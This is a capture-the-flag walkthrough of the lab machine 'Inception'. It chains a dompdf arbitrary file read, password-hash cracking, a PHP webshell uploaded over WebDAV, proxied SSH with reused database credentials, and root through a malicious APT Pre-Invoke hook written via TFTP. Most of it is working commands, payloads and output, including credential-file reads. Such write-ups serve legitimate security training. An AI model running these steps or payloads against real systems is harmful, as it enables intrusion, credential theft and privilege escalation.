Inception

Enumeration
As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.67 -oN allPorts
-sS
use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.--min-rate 5000
nmap will try to keep the sending rate at or above 5000 packets per second.-p-
scanning the entire port range, from 1 to 65535.-T5
insane mode, it is the fastest mode of the nmap time template.-Pn
assume the host is online.-n
scan without reverse DNS resolution.-oN
save the scan result into a file, in this case the allports file.
# Nmap 7.93 scan initiated Wed Apr 26 06:30:22 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.67
Nmap scan report for 10.10.10.67
Host is up (0.041s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE
80/tcp open http
3128/tcp open squid-http
# Nmap done at Wed Apr 26 06:30:48 2023 -- 1 IP address (1 host up) scanned in 26.44 seconds
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p80,3128 10.10.10.67 -oN targeted
-sC
performs the scan using the default set of scripts.-sV
enables version detection.-oN
save the scan result into file, in this case the targeted file.
# Nmap 7.93 scan initiated Wed Apr 26 06:32:08 2023 as: nmap -sCV -p80,3128 -Pn -n -oN targeted 10.10.10.67
Nmap scan report for 10.10.10.67
Host is up (0.037s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Inception
|_http-server-header: Apache/2.4.18 (Ubuntu)
3128/tcp open http-proxy Squid http proxy 3.5.12
|_http-title: ERROR: The requested URL could not be retrieved
|_http-server-header: squid/3.5.12
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Apr 26 06:32:25 2023 -- 1 IP address (1 host up) scanned in 16.89 seconds
The website doesn't show anything interesting.

But if we check at the bottom of the source code, we'll see a comment saying something about dompdf.

If we go to /dompdf
, we'll see that directory listing is enabled and we'll be able to see some files.

Exploitation
There is one Arbitrary File Read vulnerability that affects this software. We could read local files using the input_file
parameter. We will have to base64 decode the output.
curl -s "http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/passwd" | grep -oP '(.*?)' | tail -n 1 | tr -d "()" | base64 -d
root:x:0:0:root:/root:/bin/bash
...
cobb:x:1000:1000::/home/cobb:/bin/bash
There is one user called cobb
. Other files we could get are the Apache2 configuration file.
curl -s "http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/apache2/sites-enabled/000-default.conf" | grep -oP '(.*?)' | tail -n 1 | tr -d "()" | base64 -d
<VirtualHost *:80>
# The ServerName directive sets the request scheme, hostname and port that
# the server uses to identify itself. This is used when creating
# redirection URLs. In the context of virtual hosts, the ServerName
# specifies what hostname must appear in the request's Host: header to
# match this virtual host. For the default virtual host (this file) this
# value is not decisive as it is used as a last resort host regardless.
# However, you must set it for any further virtual host explicitly.
#ServerName www.example.com
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
# error, crit, alert, emerg.
# It is also possible to configure the loglevel for particular
# modules, e.g.
#LogLevel info ssl:warn
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
# For most configuration files from conf-available/, which are
# enabled or disabled at a global level, it is possible to
# include a line for only one particular virtual host. For example the
# following line enables the CGI configuration for this host only
# after it has been globally disabled with "a2disconf".
#Include conf-available/serve-cgi-bin.conf
Alias /webdav_test_inception /var/www/html/webdav_test_inception
<Location /webdav_test_inception>
Options FollowSymLinks
DAV On
AuthType Basic
AuthName "webdav test credential"
AuthUserFile /var/www/html/webdav_test_inception/webdav.passwd
Require valid-user
</Location>
</VirtualHost>
There is a /webdav_test_inception
subdirectory, and we'll see that it asks for credentials.

Note that there is an authorization file in the Apache2 configuration file. This file contains a hashed password for the webdav_tester
user.
curl -s "http://10.10.10.67/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/var/www/html/webdav_test_inception/webdav.passwd" | grep -oP '(.*?)' | tail -n 1 | tr -d "()" | base64 -d
webdav_tester:$apr1$8rO7Smi4$yqn7H.GvJFtsTou1a7VME0
Put the hash in the hash
file, and try to break it with john.
john -w=/usr/share/wordlists/rockyou.txt hash
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 SSE2 4x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
babygurl69 (webdav_tester)
1g 0:00:00:00 DONE (2023-04-26 10:37) 8.333g/s 187200p/s 187200c/s 187200C/s mario12..130790
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
We get the password for the webdav_tester
user. If we try to log in with these credentials we'll get a forbidden message.

Let's use davtest
to see what permissions we have on the WebDAV server.
davtest -url http://10.10.10.67/webdav_test_inception/ -auth webdav_tester:babygurl69
********************************************************
Testing DAV connection
OPEN SUCCEED: http://10.10.10.67/webdav_test_inception
********************************************************
NOTE Random string for this session: KrKtFcN
********************************************************
Creating directory
MKCOL SUCCEED: Created http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN
********************************************************
Sending test files
PUT pl SUCCEED: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.pl
PUT asp SUCCEED: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.asp
PUT cfm SUCCEED: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.cfm
PUT cgi SUCCEED: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.cgi
PUT php SUCCEED: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.php
PUT jhtml SUCCEED: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.jhtml
PUT aspx SUCCEED: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.aspx
PUT html SUCCEED: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.html
PUT shtml SUCCEED: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.shtml
PUT jsp SUCCEED: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.jsp
PUT txt SUCCEED: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.txt
********************************************************
Checking for test file execution
EXEC pl FAIL
EXEC asp FAIL
EXEC cfm FAIL
EXEC cgi FAIL
EXEC php SUCCEED: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.php
EXEC php FAIL
EXEC jhtml FAIL
EXEC aspx FAIL
EXEC html SUCCEED: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.html
EXEC html FAIL
EXEC shtml FAIL
EXEC jsp FAIL
EXEC txt SUCCEED: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.txt
EXEC txt FAIL
********************************************************
/usr/bin/davtest Summary:
Created: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN
PUT File: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.pl
PUT File: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.asp
PUT File: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.cfm
PUT File: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.cgi
PUT File: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.php
PUT File: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.jhtml
PUT File: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.aspx
PUT File: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.html
PUT File: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.shtml
PUT File: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.jsp
PUT File: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.txt
Executes: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.php
Executes: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.html
Executes: http://10.10.10.67/webdav_test_inception/DavTestDir_KrKtFcN/davtest_KrKtFcN.txt
As we can see, it is possible to upload and execute PHP files. Let's upload a PHP webshell to the server. First, create it.
nano pwn.php
<?php system($_GET["cmd"]);?>
Then upload it using PUT.
curl -s -X PUT http://webdav_tester:babygurl69@10.10.10.67/webdav_test_inception/pwn.php -d @pwn.php
Now we can run commands using the uploaded webshell.
http://10.10.10.67/webdav_test_inception/pwn.php?cmd=whoami

We won't be able to get a reverse shell because there is a firewall blocking the connections. So we have to enumerate the server using the webshell. If we take a look into the /var/www/html
directory, we'll see another one called wordpress_4.8.3
.
http://10.10.10.67/webdav_test_inception/pwn.php?cmd=ls -la /var/www/html
total 8052
drwxr-xr-x 7 root root 4096 Aug 10 2022 .
drwxr-xr-x 3 root root 4096 Aug 10 2022 ..
-rw-r--r-- 1 root root 17128 May 7 2017 LICENSE.txt
-rw-r--r-- 1 root root 2307 May 7 2017 README.txt
drwxr-xr-x 6 root root 4096 Aug 10 2022 assets
drwxrwxr-x 4 root root 4096 Aug 10 2022 dompdf
drwxr-xr-x 2 root root 4096 Aug 10 2022 images
-rw-r--r-- 1 root root 2877 Nov 6 2017 index.html
-rw-r--r-- 1 root root 8184961 Oct 31 2017 latest.tar.gz
drwxr-xr-x 3 www-data www-data 4096 Apr 26 08:44 webdav_test_inception
drwxr-xr-x 5 root root 4096 Aug 10 2022 wordpress_4.8.3
Which has common WordPress files.
http://10.10.10.67/webdav_test_inception/pwn.php?cmd=ls -la /var/www/html/wordpress_4.8.3
total 200
drwxr-xr-x 5 root root 4096 Aug 10 2022 .
drwxr-xr-x 7 root root 4096 Aug 10 2022 ..
-rw-r--r-- 1 root root 418 Sep 25 2013 index.php
-rw-r--r-- 1 root root 19935 Jan 2 2017 license.txt
-rw-r--r-- 1 root root 7413 Dec 12 2016 readme.html
-rw-r--r-- 1 root root 5447 Sep 27 2016 wp-activate.php
drwxr-xr-x 9 root root 4096 Aug 10 2022 wp-admin
-rw-r--r-- 1 root root 364 Dec 19 2015 wp-blog-header.php
-rw-r--r-- 1 root root 1627 Aug 29 2016 wp-comments-post.php
-rw-r--r-- 1 root root 2853 Dec 16 2015 wp-config-sample.php
-rw-r--r-- 1 root root 2842 Nov 6 2017 wp-config.php
drwxr-xr-x 4 root root 4096 Aug 10 2022 wp-content
-rw-r--r-- 1 root root 3286 May 24 2015 wp-cron.php
drwxr-xr-x 18 root root 12288 Aug 10 2022 wp-includes
-rw-r--r-- 1 root root 2422 Nov 21 2016 wp-links-opml.php
-rw-r--r-- 1 root root 3301 Oct 25 2016 wp-load.php
-rw-r--r-- 1 root root 34327 May 12 2017 wp-login.php
-rw-r--r-- 1 root root 8048 Jan 11 2017 wp-mail.php
-rw-r--r-- 1 root root 16200 Apr 6 2017 wp-settings.php
-rw-r--r-- 1 root root 29924 Jan 24 2017 wp-signup.php
-rw-r--r-- 1 root root 4513 Oct 14 2016 wp-trackback.php
-rw-r--r-- 1 root root 3065 Aug 31 2016 xmlrpc.php
The wp-config.php
file contains credentials for the database.
view-source:http://10.10.10.67/webdav_test_inception/pwn.php?cmd=cat /var/www/html/wordpress_4.8.3/wp-config.php
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'VwPddNh7xMZyDQoByQL4');
/** MySQL hostname */
define('DB_HOST', 'localhost');
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');
/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
There was also open the 3128 port, which is a Squid Proxy. If we try to access localhost using that proxy, we'll see that port 80 is open.
curl -s http://localhost -p http://10.10.10.67:3128 | html2text
****** ERROR ******
***** The requested URL could not be retrieved *****
===============================================================================
The following error was encountered while trying to retrieve the URL: /
Invalid URL
Some aspect of the requested URL is incorrect.
Some possible problems are:
* Missing or incorrect access protocol (should be http:// or similar)
* Missing hostname
* Illegal double-escape in the URL-Path
* Illegal character in hostname; underscores are not allowed.
Your cache administrator is webmaster.
===============================================================================
Generated Wed, 26 Apr 2023 10:55:59 GMT by Inception (squid/3.5.12)
But maybe there are other ports open that we can reach using this proxy. Let's use wfuzz to find it out.
wfuzz -c --hc=503 -t 200 -z range,1-65535 -p 10.10.10.67:3128:HTTP http://127.0.0.1:FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://127.0.0.1:FUZZ/
Total requests: 65535
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000022: 200 2 L 4 W 60 Ch "22"
000000080: 200 1051 L 169 W 2877 Ch "80"
000003128: 400 151 L 416 W 3521 Ch "3128"
Port 22 is also open. We could try to log in as cobb
using the database password we found earlier. We change the proxychains configuration file.
nano /etc/proxychains.conf
strict_chain
...
[ProxyList]
http 10.10.10.67 3128
Now, we'll be able to log in via SSH as cobb
. Then, we could grab the user flag.
proxychains -q sshpass -p 'VwPddNh7xMZyDQoByQL4' ssh cobb@localhost
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-101-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Last login: Wed Apr 26 09:26:52 2023 from 127.0.0.1
cobb@Inception:~$ whoami
cobb
cobb@Inception:~$ cat user.txt
6d8105f8eaa7f94e604cf71dc155528a
Privilege Escalation
We are currently in a container because the machine has the 192.168.0.10
IP address.
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
4: eth0@if5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
link/ether 00:16:3e:28:53:63 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 192.168.0.10/24 brd 192.168.0.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::216:3eff:fe28:5363/64 scope link
valid_lft forever preferred_lft forever
Let's use my tool bnmap to do host and port discovery in this network. As connections are being blocked by a firewall, we need to base64 encode the script, copy it.
cat bnmap.sh | base64 -w 0 | xclip -sel clip
Then decode it in the server.
echo 'IyEvY...biIK' | base64 -d > bnamp.sh
Now, use the tool to scan the entire eth0
network interface.
bash bnmap.sh -i eth0
_
| |__ _ __ _ __ ___ __ _ _ __
| '_ \| '_ \| '_ \ _ \ / _\ | '_ \
| |_) | | | | | | | | | (_| | |_) |
|_.__/|_| |_|_| |_| |_|\__,_| .__/
|_|
-------------@alfa8sa--------------
[*] Network: 192.168.0.0/24
[*] First IP: 192.168.0.1
[*] Last IP: 192.168.0.254
[*] Scanning network: 192.168.0.0/24
[*] Host 192.168.0.1 ACTIVE
[!] Port open: 192.168.0.1:21
[!] Port open: 192.168.0.1:22
[!] Port open: 192.168.0.1:53
[*] Host 192.168.0.10 ACTIVE
[!] Port open: 192.168.0.10:22
[!] Port open: 192.168.0.10:80
[#########################] 100% (255 / 255 hosts)
There is one machine with ports 21,22 and 53 open. Let's try to log in with SSH using the same credentials for cobb
.
ssh cobb@192.168.0.1
cobb@192.168.0.1's password: VwPddNh7xMZyDQoByQL4
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.4.0-101-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
0 packages can be updated.
0 updates are security updates.
Last login: Wed Apr 26 09:33:28 2023 from 192.168.0.10
-bash-4.3$ whoami
cobb
-bash-4.3$ hostname -I
10.10.10.67 192.168.0.1 dead:beef::250:56ff:feb9:b4e
Now we have access to the main machine. If we check the cron jobs, we'll see that root is updating the system every 5 minutes.
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/5 * * * * root apt update 2>&1 >/var/log/apt/custom.log
30 23 * * * root apt upgrade -y 2>&1 >/dev/null
If we can create files in /etc/apt/apt.conf.d/
we have a way to become root. Let's create the malicious file with the following payload.
nano pwned
APT::Update::Pre-Invoke {"chmod +s /bin/bash";};
We won't be able to upload the malicious file using FTP.
ftp localhost
Connected to localhost.
220 (vsFTPd 3.0.3)
Name (localhost:cobb): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd /etc/apt/apt.conf.d/
250 Directory successfully changed.
ftp> put pwned
local: pwned remote: pwned
200 EPRT command successful. Consider using EPSV.
550 Permission denied.
But we could try using TFTP.
tftp localhost
tftp> put pwned /etc/apt/apt.conf.d/pwned
We created the file successfully.
ls -l /etc/apt/apt.conf.d/
total 48
-rw-r--r-- 1 root root 49 Oct 30 2017 00aptitude
-rw-r--r-- 1 root root 82 Oct 30 2017 00CDMountPoint
-rw-r--r-- 1 root root 40 Oct 30 2017 00trustcdrom
-rw-r--r-- 1 root root 769 Apr 14 2016 01autoremove
-r--r--r-- 1 root root 2920 Aug 10 2022 01autoremove-kernels
-rw-r--r-- 1 root root 42 Apr 14 2016 01-vendor-ubuntu
-rw-r--r-- 1 root root 129 May 24 2016 10periodic
-rw-r--r-- 1 root root 108 May 24 2016 15update-stamp
-rw-r--r-- 1 root root 85 May 24 2016 20archive
-rw-r--r-- 1 root root 182 Nov 10 2015 70debconf
-rw-r--r-- 1 root root 305 May 24 2016 99update-notifier
-rw-rw-rw- 1 root root 50 Apr 26 11:39 pwned
Now, we need to wait for the cron job to be executed, and the /bin/bash
binary will have SUID permissions. We could get a shell as root, and then all we have to do is reap the harvest and take the root flag.
bash -p
bash-4.3# whoami
root
bash-4.3# cat /root/root.txt
a70053d3dac426380934809a57e426ff
Last updated
Was this helpful?